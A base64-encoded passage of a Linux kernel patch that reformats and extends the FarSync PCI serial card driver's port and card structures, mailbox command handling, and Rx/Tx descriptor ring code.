cmF0aGVyIHRoYW4gb24gdGhlIFBDSSBidXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICovCi0gICAgICAgIHUzMiBwb3J0SGFuZGxlW0ZTVF9NQVhfUE9SVFNdOworCS8qIERyaXZl ciBwcml2YXRlIGRhdGEgdXNlZCBhcyBhbiBJRC4gV2UnbGwgbm90CisJICogdXNlIHRoaXMgYXMg SSdkIHJhdGhlciBrZWVwIHN1Y2ggdGhpbmdzCisJICogaW4gbWFpbiBtZW1vcnkgcmF0aGVyIHRo YW4gb24gdGhlIFBDSSBidXMKKwkgKi8KKwl1MzIgcG9ydEhhbmRsZVtGU1RfTUFYX1BPUlRTXTsK IAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBDb3VudCBvZiBUeCB1bmRlcmZs b3dzIGZvciBzdGF0cyAqLwotICAgICAgICB1MzIgdHJhbnNtaXRCdWZmZXJVbmRlcmZsb3dbRlNU X01BWF9QT1JUU107CisJLyogQ291bnQgb2YgVHggdW5kZXJmbG93cyBmb3Igc3RhdHMgKi8KKwl1 MzIgdHJhbnNtaXRCdWZmZXJVbmRlcmZsb3dbRlNUX01BWF9QT1JUU107CiAKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgLyogRGVib3VuY2VkIFYuMjQgY29udHJvbCBpbnB1dCBzdGF0 dXMgKi8KLSAgICAgICAgdTMyIHYyNERlYm91bmNlZFN0c1tGU1RfTUFYX1BPUlRTXTsKKwkvKiBE ZWJvdW5jZWQgVi4yNCBjb250cm9sIGlucHV0IHN0YXR1cyAqLworCXUzMiB2MjREZWJvdW5jZWRT dHNbRlNUX01BWF9QT1JUU107CiAKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog QWRhcHRlciBkZWJvdW5jZSB0aW1lcnMuIERvbid0IHRvdWNoICovCi0gICAgICAgIHUzMiBjdHNU aW1lcltGU1RfTUFYX1BPUlRTXTsKLSAgICAgICAgdTMyIGN0c1RpbWVyUnVuW0ZTVF9NQVhfUE9S VFNdOwotICAgICAgICB1MzIgZGNkVGltZXJbRlNUX01BWF9QT1JUU107Ci0gICAgICAgIHUzMiBk Y2RUaW1lclJ1bltGU1RfTUFYX1BPUlRTXTsKKwkvKiBBZGFwdGVyIGRlYm91bmNlIHRpbWVycy4g RG9uJ3QgdG91Y2ggKi8KKwl1MzIgY3RzVGltZXJbRlNUX01BWF9QT1JUU107CisJdTMyIGN0c1Rp bWVyUnVuW0ZTVF9NQVhfUE9SVFNdOworCXUzMiBkY2RUaW1lcltGU1RfTUFYX1BPUlRTXTsKKwl1 MzIgZGNkVGltZXJSdW5bRlNUX01BWF9QT1JUU107CiAKLSAgICAgICAgdTMyIG51bWJlck9mUG9y dHM7ICAgICAgLyogTnVtYmVyIG9mIHBvcnRzIGRldGVjdGVkIGF0IHN0YXJ0dXAgKi8KKwl1MzIg bnVtYmVyT2ZQb3J0czsJLyogTnVtYmVyIG9mIHBvcnRzIGRldGVjdGVkIGF0IHN0YXJ0dXAgKi8K IAotICAgICAgICB1MTYgX3Jlc2VydmVkWzY0XTsKKwl1MTYgX3Jlc2VydmVkWzY0XTsKIAotICAg ICAgICB1MTYgY2FyZE1vZGU7ICAgICAgICAgICAvKiBCaXQtbWFzayB0byBlbmFibGUgZmVhdHVy ZXM6Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIEJpdCAwOiAxIGVuYWJsZXMg TEVEIGlkZW50aWZ5IG1vZGUKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCisJ dTE2IGNhcmRNb2RlOwkJLyogQml0LW1hc2sgdG8gZW5hYmxlIGZlYXR1cmVzOgorCQkJCSAqIEJp dCAwOiAxIGVuYWJsZXMgTEVEIGlkZW50aWZ5IG1vZGUKKwkJCQkgKi8KIAotICAgICAgICB1MTYg cG9ydFNjaGVkdWxlT2Zmc2V0OworCXUxNiBwb3J0U2NoZWR1bGVPZmZzZXQ7CiAKLSAgICAgICAg dTMyIGVuZE9mU21jU2lnbmF0dXJlOyAgLyogZW5kT2ZTbWNTaWduYXR1cmUgTVVTVCBiZSB0aGUg bGFzdCBtZW1iZXIgb2YKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogdGhlIHN0 cnVjdHVyZSBhbmQgbWFya3MgdGhlIGVuZCBvZiB0aGUgc2hhcmVkCi0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAqIG1lbW9yeS4gQWRhcHRlciBjb2RlIGluaXRpYWxpemVzIGl0cyB2 YWx1ZSBhcwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBFTkRfU0lHLgotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwlzd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gICAgaW50ICAgICAgICAgICAgICAgICAgICAgaHdpZjsgICAvKiBMaW5lIGhhcmR3YXJl IChsaW5lSW50ZXJmYWNlIGNvcHkpICovCi0gICAgICAgIGludCAgICAgICAgICAgICAgICAgICAg IHJ1bjsgICAgLyogUG9ydCBpcyBydW5uaW5nICovCi0gICAgICAgIGludCAgICAgICAgICAgICAg ICAgICAgIHJ4cG9zOyAgLyogTmV4dCBSeCBidWZmZXIgdG8gdXNlICovCi0gICAgICAgIGludCAg ICAgICAgICAgICAgICAgICAgIHR4cG9zOyAgLyogTmV4dCBUeCBidWZmZXIgdG8gdXNlICovCi0g ICAgICAgIGludCAgICAgICAgICAgICAgICAgICAgIHR4aXBvczsgLyogTmV4dCBUeCBidWZmZXIg dG8gY2hlY2sgZm9yIGZyZWUgKi8KLSAgICAgICAgaW50ICAgICAgICAgICAgICAgICAgICAgdHhj bnQ7ICAvKiBDb3VudCBvZiBUeCBidWZmZXJzIGluIHVzZSAqLworCWhkbGNfZGV2aWNlIGhkbGM7 CS8qIEhETEMgZGV2aWNlIHN0cnVjdCAtIG11c3QgYmUgZmlyc3QgKi8KKwlzdHJ1Y3QgZnN0X2Nh cmRfaW5mbyAqY2FyZDsJLyogQ2FyZCB3ZSdyZSBhc3NvY2lhdGVkIHdpdGggKi8KKwlpbnQgaW5k ZXg7CQkvKiBQb3J0IGluZGV4IG9uIHRoZSBjYXJkICovCisJaW50IGh3aWY7CQkvKiBMaW5lIGhh cmR3YXJlIChsaW5lSW50ZXJmYWNlIGNvcHkpICovCisJaW50IHJ1bjsJCS8qIFBvcnQgaXMgcnVu bmluZyAqLworCWludCBtb2RlOwkJLyogTm9ybWFsIG9yIEZhclN5bmMgcmF3ICovCisJaW50IHJ4 cG9zOwkJLyogTmV4dCBSeCBidWZmZXIgdG8gdXNlICovCisJaW50IHR4cG9zOwkJLyogTmV4dCBU eCBidWZmZXIgdG8gdXNlICovCisJaW50IHR4aXBvczsJCS8qIE5leHQgVHggYnVmZmVyIHRvIGNo ZWNrIGZvciBmcmVlICovCisJaW50IHN0YXJ0OwkJLyogSW5kaWNhdGlvbiBvZiBzdGFydC9zdG9w IHRvIG5ldHdvcmsgKi8KKwkvKgorCSAqIEEgc2l4dGVlbiBlbnRyeSB0cmFuc21pdCBxdWV1ZQor CSAqLworCWludCB0eHFzOwkJLyogaW5kZXggdG8gZ2V0IG5leHQgYnVmZmVyIHRvIHR4ICovCisJ aW50IHR4cWU7CQkvKiBpbmRleCB0byBxdWV1ZSBuZXh0IHBhY2tldCAqLworCXN0cnVjdCBza19i dWZmICp0eHFbRlNUX1RYUV9ERVBUSF07CS8qIFRoZSBxdWV1ZSAqLworCWludCByeHFkZXB0aDsK IH07CiAKIC8qICAgICAgUGVyIGNhcmQgaW5mb3JtYXRpb24KICAqLwogc3RydWN0IGZzdF9jYXJk X2luZm8gewotICAgICAgICBjaGFyICAgICAgICAgICptZW07ICAgICAgICAgICAgIC8qIENhcmQg bWVtb3J5IG1hcHBlZCB0byBrZXJuZWwgc3BhY2UgKi8KLSAgICAgICAgY2hhciAgICAgICAgICAq Y3RsbWVtOyAgICAgICAgICAvKiBDb250cm9sIG1lbW9yeSBmb3IgUENJIGNhcmRzICovCi0gICAg ICAgIHVuc2lnbmVkIGludCAgIHBoeXNfbWVtOyAgICAgICAgLyogUGh5c2ljYWwgbWVtb3J5IHdp bmRvdyBhZGRyZXNzICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHBoeXNfY3RsbWVtOyAgICAg LyogUGh5c2ljYWwgY29udHJvbCBtZW1vcnkgYWRkcmVzcyAqLwotICAgICAgICB1bnNpZ25lZCBp bnQgICBpcnE7ICAgICAgICAgICAgIC8qIEludGVycnVwdCByZXF1ZXN0IGxpbmUgbnVtYmVyICov Ci0gICAgICAgIHVuc2lnbmVkIGludCAgIG5wb3J0czsgICAgICAgICAgLyogTnVtYmVyIG9mIHNl cmlhbCBwb3J0cyAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICB0eXBlOyAgICAgICAgICAgIC8q IFR5cGUgaW5kZXggb2YgY2FyZCAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICBzdGF0ZTsgICAg ICAgICAgIC8qIFN0YXRlIG9mIGNhcmQgKi8KLSAgICAgICAgc3BpbmxvY2tfdCAgICAgY2FyZF9s b2NrOyAgICAgICAvKiBMb2NrIGZvciBTTVAgYWNjZXNzICovCi0gICAgICAgIHVuc2lnbmVkIHNo b3J0IHBjaV9jb25mOyAgICAgICAgLyogUENJIGNhcmQgY29uZmlnIGluIEkvTyBzcGFjZSAqLwot ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIFBlciBwb3J0IGluZm8g Ki8KLSAgICAgICAgc3RydWN0IGZzdF9wb3J0X2luZm8gcG9ydHNbIEZTVF9NQVhfUE9SVFMgXTsK KwljaGFyICptZW07CQkvKiBDYXJkIG1lbW9yeSBtYXBwZWQgdG8ga2VybmVsIHNwYWNlICovCisJ Y2hhciAqY3RsbWVtOwkJLyogQ29udHJvbCBtZW1vcnkgZm9yIFBDSSBjYXJkcyAqLworCXVuc2ln bmVkIGludCBwaHlzX21lbTsJLyogUGh5c2ljYWwgbWVtb3J5IHdpbmRvdyBhZGRyZXNzICovCisJ dW5zaWduZWQgaW50IHBoeXNfY3RsbWVtOwkvKiBQaHlzaWNhbCBjb250cm9sIG1lbW9yeSBhZGRy ZXNzICovCisJdW5zaWduZWQgaW50IGlycTsJLyogSW50ZXJydXB0IHJlcXVlc3QgbGluZSBudW1i ZXIgKi8KKwl1bnNpZ25lZCBpbnQgbnBvcnRzOwkvKiBOdW1iZXIgb2Ygc2VyaWFsIHBvcnRzICov CisJdW5zaWduZWQgaW50IHR5cGU7CS8qIFR5cGUgaW5kZXggb2YgY2FyZCAqLworCXVuc2lnbmVk IGludCBzdGF0ZTsJLyogU3RhdGUgb2YgY2FyZCAqLworCXNwaW5sb2NrX3QgY2FyZF9sb2NrOwkv KiBMb2NrIGZvciBTTVAgYWNjZXNzICovCis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nQoZGV2X3RvX2hk bGMoRCkpCiAjZGVmaW5lIHBvcnRfdG9fZGV2KFApICBoZGxjX3RvX2RldigmKFApLT5oZGxjKQog Ci0KIC8qCiAgKiAgICAgIFNoYXJlZCBtZW1vcnkgd2luZG93IGFjY2VzcyBtYWNyb3MKICAqCkBA IC0zODEsNyArNDk5LDYgQEAKICNkZWZpbmUgRlNUX1dSVyhDLEUsVykgIHdyaXRldyAoKFcpLCAo QyktPm1lbSArIFdJTl9PRkZTRVQoRSkpCiAjZGVmaW5lIEZTVF9XUkwoQyxFLEwpICB3cml0ZWwg KChMKSwgKEMpLT5tZW0gKyBXSU5fT0ZGU0VUKEUpKQogCi0KIC8qCiAgKiAgICAgIERlYnVnIHN1 cHBvcnQKICAqLwpAQCAtNDAwLDMwICs1MTcsMTUxIEBACiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIHByaW50ayAoIEtFUk5fREVCVUcgRlNUX05BTUUgIjogIiBmbXQsICMjIEEgKQog CiAjZWxzZQotIyBkZWZpbmUgZGJnKFguLi4pICAgICAgLyogTk9QICovCisjZGVmaW5lIGRiZyhY Li4uKQkJLyogTk9QICovCiAjZW5kaWYKIAotCiAvKiAgICAgIFByaW50aW5nIHNob3J0IGN1dHMK ICAqLwogI2RlZmluZSBwcmludGtfZXJyKGZtdCxBLi4uKSAgICBwcmludGsgKCBLRVJOX0VSUiAg ICAgRlNUX05BTUUgIjogIiBmbXQsICMjIEEgKQogI2RlZmluZSBwcmludGtfd2FybihmbXQsQS4u LikgICBwcmludGsgKCBLRVJOX1dBUk5JTkcgRlNUX05BTUUgIjogIiBmbXQsICMjIEEgKQogI2Rl ZmluZSBwcmludGtfaW5mbyhmbXQsQS4uLikgICBwcmludGsgKCBLRVJOX0lORk8gICAgRlNUX05B TUUgIjogIiBmbXQsICMjIEEgKQogCi0KIC8qCiAgKiAgICAgIFBDSSBJRCBsb29rdXAgdGFibGUK ICAqLwotc3RhdGljIHN0cnVjdCBwY2lfZGV2aWN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ICAgaWYgKCArK3NhZmV0eSA+IDEwMDAgKQotICAgICAgICAgICAgICAgIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJNYWlsYm94IHNhZmV0eSB0aW1lb3V0XG4i KTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwotICAgICAgICAgICAgICAgIH0KLQot ICAgICAgICAgICAgICAgIG1idmFsID0gRlNUX1JEVyAoIGNhcmQsIHBvcnRNYWlsYm94W3BvcnQt PmluZGV4XVswXSk7Ci0gICAgICAgIH0KLSAgICAgICAgaWYgKCBzYWZldHkgPiAwICkKLSAgICAg ICAgewotICAgICAgICAgICAgICAgIGRiZyAoIERCR19DTUQsIk1haWxib3ggY2xlYXIgYWZ0ZXIg JWQgamlmZmllc1xuIiwgc2FmZXR5ICk7Ci0gICAgICAgIH0KLSAgICAgICAgaWYgKCBtYnZhbCA9 PSBOQUsgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgZGJnICggREJHX0NNRCwiaXNzdWVf Y21kOiBwcmV2aW91cyBjb21tYW5kIHdhcyBOQUsnZFxuIik7Ci0gICAgICAgIH0KLQotICAgICAg ICBGU1RfV1JXICggY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhdWzBdLCBjbWQgKTsKLQot ICAgICAgICBpZiAoIGNtZCA9PSBBQk9SVFRYIHx8IGNtZCA9PSBTVEFSVFBPUlQgKQotICAgICAg ICB7Ci0gICAgICAgICAgICAgICAgcG9ydC0+dHhwb3MgID0gMDsKLSAgICAgICAgICAgICAgICBw b3J0LT50eGlwb3MgPSAwOwotICAgICAgICAgICAgICAgIHBvcnQtPnR4Y250ICA9IDA7Ci0gICAg ICAgIH0KKwlzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsKKwl1bnNpZ25lZCBzaG9ydCBtYnZh bDsKKwl1bnNpZ25lZCBsb25nIGZsYWdzOworCWludCBzYWZldHk7CisKKwljYXJkID0gcG9ydC0+ Y2F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gZm9y ICggaSA9IDAgOyBpIDwgTlVNX1JYX0JVRkZFUiA7IGkrKyApCi0gICAgICAgIHsKLSAgICAgICAg ICAgICAgICBvZmZzZXQgPSBCVUZfT0ZGU0VUICggcnhCdWZmZXJbcGldW2ldWzBdKTsKLQotICAg ICAgICAgICAgICAgIEZTVF9XUlcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1baV0ubGFkciwgKHUx Nikgb2Zmc2V0ICk7Ci0gICAgICAgICAgICAgICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5n W3BpXVtpXS5oYWRyLCAodTgpKCBvZmZzZXQgPj4gMTYgKSk7Ci0gICAgICAgICAgICAgICAgRlNU X1dSVyAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5iY250LAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIGNudl9iY250ICggTEVOX1JYX0JVRkZFUiApKTsKLSAgICAg ICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLm1jbnQsIDAgKTsK LSAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLmJpdHMs IERNQV9PV04gKTsKLSAgICAgICAgfQotICAgICAgICBwb3J0LT5yeHBvcyAgPSAwOwotICAgICAg ICBzcGluX3VubG9ja19pcnFyZXN0b3JlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKKwlp bnQgaTsKKwlpbnQgcGk7CisJdW5zaWduZWQgaW50IG9mZnNldDsKKwl1bnNpZ25lZCBsb25nIGZs YWdzOworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCisJcGkgPSBwb3J0LT5pbmRleDsK KwljYXJkID0gcG9ydC0+Y2FyZDsKKwlzcGluX2xvY2tfaXJxc2F2ZSgmY2FyZC0+Y2FyZF9sb2Nr LCBmbGFncyk7CisJZm9yIChpID0gMDsgaSA8IE5VTV9SWF9CV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9sb2Nr LCBmbGFncyApOwotICAgICAgICBmb3IgKCBpID0gMCA7IGkgPCBOVU1fVFhfQlVGRkVSIDsgaSsr ICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIG9mZnNldCA9IEJVRl9PRkZTRVQgKCB0eEJ1 ZmZlcltwaV1baV1bMF0pOwotCi0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHR4RGVz Y3JSaW5nW3BpXVtpXS5sYWRyLCAodTE2KSBvZmZzZXQgKTsKLSAgICAgICAgICAgICAgICBGU1Rf V1JCICggY2FyZCwgdHhEZXNjclJpbmdbcGldW2ldLmhhZHIsICh1OCkoIG9mZnNldCA+PiAxNiAp KTsKLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgdHhEZXNjclJpbmdbcGldW2ldLmJj bnQsIDAgKTsKLSAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgdHhEZXNjclJpbmdbcGld W2ldLmJpdHMsIDAgKTsKLSAgICAgICAgfQotICAgICAgICBwb3J0LT50eHBvcyAgPSAwOwotICAg ICAgICBwb3J0LT50eGlwb3MgPSAwOwotICAgICAgICBwb3J0LT50eGNudCAgPSAwOwotICAgICAg ICBzcGluX3VubG9ja19pcnFyZXN0b3JlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKKwlp bnQgaTsKKwlpbnQgcGk7CisJdW5zaWduZWQgaW50IG9mZnNldDsKKwl1bnNpZ25lZCBsb25nIGZs YWdzOworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCisJcGkgPSBwb3J0LT5pbmRleDsK KwljYXJkID0gcG9ydC0+Y2FyZDsKKwlzcGluX2xvY2tfaXJxc2F2ZSgmY2FyZC0+Y2FyZF9sb2Nr LCBmbGFncyk7CisJZm9yIChpID0gMDsgaSA8IE5VTV9UWF9CVUZGRVI7IGkrKykgeworCQlvZmZz ZXQgPSBCVUZfT0ZGU0VUKHR4QnVmZmVyW3BpXVtpXVswX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ZTVF9SREwgKCBjYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsK KwlzaWduYWxzID0gRlNUX1JETChjYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsK KworCWlmIChzaWduYWxzICYgKCgocG9ydC0+aHdpZiA9PSBYMjEpIHx8IChwb3J0LT5od2lmID09 IFgyMUQpKQorCQkgICAgICAgPyBJUFNUU19JTkRJQ0FURSA6IElQU1RTX0RDRCkpIHsKKwkJaWYg KCFuZXRpZl9jYXJyaWVyX29rKHBvcnRfdG9fZGV2KHBvcnQpKSkgeworCQkJZGJnKERCR19JTlRS LCAiRENEIGFjdGl2ZVxuIik7CisJCQluZXRpZl9jYXJyaWVyX29uKHBvcnRfdG9fZGV2KHBvcnQp KTsKKwkJfQorCX0gZWxzZSB7CisJCWlmIChuZXRpZl9jYXJyaWVyX29rKHBvcnRfdG9fZGV2KHBv cnQpKSkgeworCQkJZGJnKERCR19JTlRSLCAiRENEIGxvc3RcbiIpOworCQkJbmV0aWZfY2Fycmll cl9vZmYocG9ydF90b19kZXYocG9ydCkpOworCQl9CisJfQorfQogCi0gICAgICAgIGlmICggc2ln bmFscyAmICgoIHBvcnQtPmh3aWYgPT0gWDIxICkgPyBJUFNUU19JTkRJQ0FURSA6IElQU1RTX0RD RCApKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgaWYgKCAhIG5ldGlmX2NhcnJpZXJfb2sg KCBwb3J0X3RvX2RldiAoIHBvcnQgKSkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAg ICAgICAgICAgICAgZGJnICggREJHX0lOVFIsIkRDRCBhY3RpdmVcbiIpOwotICAgICAgICAgICAg ICAgICAgICAgICAgbmV0aWZfY2Fycmllcl9vbiAoIHBvcnRfdG9fZGV2ICggcG9ydCApKTsKLSAg ICAgICAgICAgICAgICB9Ci0gICAgICAgIH0KLSAgICAgICAgZWxzZQotICAgICAgICB7Ci0gICAg ICAgICAg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aW50IHBpOwotICAgICAgICBpbnQgcnhwOwotICAgICAg ICB1bnNpZ25lZCBzaG9ydCBsZW47Ci0gICAgICAgIHN0cnVjdCBza19idWZmICpza2I7Ci0gICAg ICAgIGludCBpOwotCi0KLSAgICAgICAgLyogQ2hlY2sgd2UgaGF2ZSBhIGJ1ZmZlciB0byBwcm9j ZXNzICovCi0gICAgICAgIHBpICA9IHBvcnQtPmluZGV4OwotICAgICAgICByeHAgPSBwb3J0LT5y eHBvczsKLSAgICAgICAgZG1hYml0cyA9IEZTVF9SREIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1b cnhwXS5iaXRzICk7Ci0gICAgICAgIGlmICggZG1hYml0cyAmIERNQV9PV04gKQotICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgZGJnICggREJHX1JYIHwgREJHX0lOVFIsImludHJfcng6IE5vIGJ1 ZmZlciBwb3J0ICVkIHBvcyAlZFxuIiwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICBwaSwgcnhwICk7Ci0gICAgICAgICAgICAgICAgcmV0dXJuOwotICAgICAgICB9Ci0K LSAgICAgICAgLyogR2V0IGJ1ZmZlciBsZW5ndGggKi8KLSAgICAgICAgbGVuID0gRlNUX1JEVyAo IGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLm1jbnQgKTsKLSAgICAgICAgLyogRGlzY2FyZCB0 aGUgQ1JDICovCi0gICAgICAgIGxlbiAtPSAyOwotCi0gICAgICAgIC8qIENoZWNrIGJ1ZmZlciBs ZW5ndGggYW5kIGZvciBvdGhlciBlcnJvcnMuIFdlIGluc2lzdCBvbiBvbmUgcGFja2V0Ci0gICAg ICAgICAqIGluIG9uZSBidWZmZXIuIFRoaXMgc2ltcGxpZmllcyB0aGluZ3MgZ3JlYXRseSBhbmQg c2luY2Ugd2UndmUKLSAgICAgICAgICogYWxsb2NhdGVkIDhLIGl0IHNob3VsZG4ndCBiZSBhIHJl YWwgd29ybGQgbGltaXRhdGlvbgotICAgICAgICAgKi8KLSAgICAgICAgZGJnICggREJHX1JYLCJp bnRyX3J4OiAlZCwlZDogZmxhZ3MgJXggbGVuICVkXG4iLCBwaSwgcnhwLCBkbWFiaXRzLAotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxlbiApOwotICAgICAgICBpZiAo IGRtYWJpdHMgIT0gKCBSWF9TVFAgfCBSWF9FTlAgKSB8fCBsZW4gPiBMRU5fUlhfQlVGRkVSIC0g MiApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnJ4X2Vycm9y cysrOwotCi0gICAgICAgICAgICAgICAgLyogVXBkYXRlIGVycm9yIHN0YXRzIGFuZCBkaXNjYXJk IGJ1ZmZlciAqLwotICAgICAgICAgICAgICAgIGlmICggZG1hYml0cyAmIFJYX09GTE8gKQotICAg ICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3RhdHMu cnhfZmlmb19lcnJvcnMrKzsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgaWYg KCBkbWFiaXRzICYgUlhfQ1JDICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAg ICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnJ4X2NyY19lcnJvcnMrKzsKLSAgICAgICAgICAgICAg ICB9Ci0gICAgICAgICAgICAgICAgaWYgKCBkbWFiaXRzICYgUlhfRlJBTSApCi0gICAgICAgICAg ICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy5yeF9mcmFt ZV9lcnJvcnMrKzsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgaWYgKCBkbWFi aXRzID09ICggUlhfU1RQIHwgUlhfRU5QICkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAg ICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy5yeF9sZW5ndGhfZXJyb3JzKys7Ci0gICAg ICAgICAgICAgICAgfQotCi0gICAgICAgICAgICAgICAgLyogRGlzY2FyZCBidWZmZXIgZGVzY3Jp cHRvcnMgdW50aWwgd2Ugc2VlIHRoZSBlbmQgb2YgcGFja2V0Ci0gICAgICAgICAgICAgICAgICog bWFya2VyCi0gICAgICAgICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgaSA9IDA7Ci0gICAg ICAgICAgICAgICAgd2hpbGUgKCggZG1hYml0cyAmICggRE1BX09XTiB8IFJYX0VOUCApKSA9PSAw ICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBGU1RfV1JCICgg Y2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywgRE1BX09XTiApOwotICAgICAgICAgICAg ICAgICAgICAgICAgaWYgKCArK3J4cCA+PSBOVU1fUlhfQlVGRkVSICkKLSAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgcnhwID0gMDsKLSAgICAgICAgICAgICAgICAgICAgICAgIGlmICgg KytpID4gTlVNX1JYX0JVRkZFUiApCi0gICAgICAgICAgICAgICAgICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIGRiZyAoIERCR19BU1MsImludHJfcng6IERpc2NhcmRp bmcgbW9yZSBidWZzIgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIiB0aGFuIHdlIGhhdmVcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBicmVhazsKLSAgICAgICAgICAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAgICAgICAgICAg ICAgIGRtYWJpdHMgPSBGU1RfUkRCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cyAp OwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIC8qIERpc2NhcmQgdGhlIHRl cm1pbmFsIGJ1ZmZlciAqLwotICAgICAgICAgICAgICAgIGlmICggISAoIGRtYWJpdHMgJiBETUFf T1dOICkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgRlNUX1dS QiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMsIERNQV9PV04gKTsKLSAgICAgICAg ICAgICAgICAgICAgICAgIGlmICggKytyeHAgPj0gTlVNX1JYX0JVRkZFUiApCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIHJ4cCA9IDA7Ci0gICAgICAgICAgICAgICAgfQotICAgICAg ICAgICAgICAgIHBvcnQtPnJ4cG9zID0gcnhwOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAg ICAgICAgfQotCi0gICAgICAgIC8qIEFsbG9jYXRlIFNLQiAqLwotICAgICAgICBpZiAoKCBza2Ig PSBkZXZfYWxsb2Nfc2tiICggbGVuICkpID09IE5VTEwgKQotICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgZGJnICggREJHX1JYLCJpbnRyX3J4OiBjYW4ndCBhbGxvY2F0ZSBidWZmZXJcbiIpOwot Ci0gICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy5yeF9kcm9wcGVkKys7Ci0KLSAgICAg ICAgICAgICAgICAvKiBSZXR1cm4gZGVzY3JpcHRvciB0byBjYXJkICovCi0gICAgICAgICAgICAg ICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMsIERNQV9PV04gKTsK LQotICAgICAgICAgICAgICAgIGlmICggKytyeHAgPj0gTlVNX1JYX0JVRkZFUiApCi0gICAgICAg ICAgICAgICAgICAgICAgICBwb3J0LT5yeHBvcyA9IDA7Ci0gICAgICAgICAgICAgICAgZWxzZQot ICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+cnhwb3MgPSByeHA7Ci0gICAgICAgICAgICAg ICAgcmV0dXJuOwotICAgICAgICB9Ci0KLSAgICAgICAgbWVtY3B5X2Zyb21pbyAoIHNrYl9wdXQg KCBza2IsIGxlbiApLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJkLT5tZW0g KyBCVUZfT0ZGU0VUICggcnhCdWZmZXJbcGldW3J4cF1bMF0pLAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBsZW4gKTsKLQotICAgICAgICAvKiBSZXNldCBidWZmZXIgZGVzY3JpcHRv 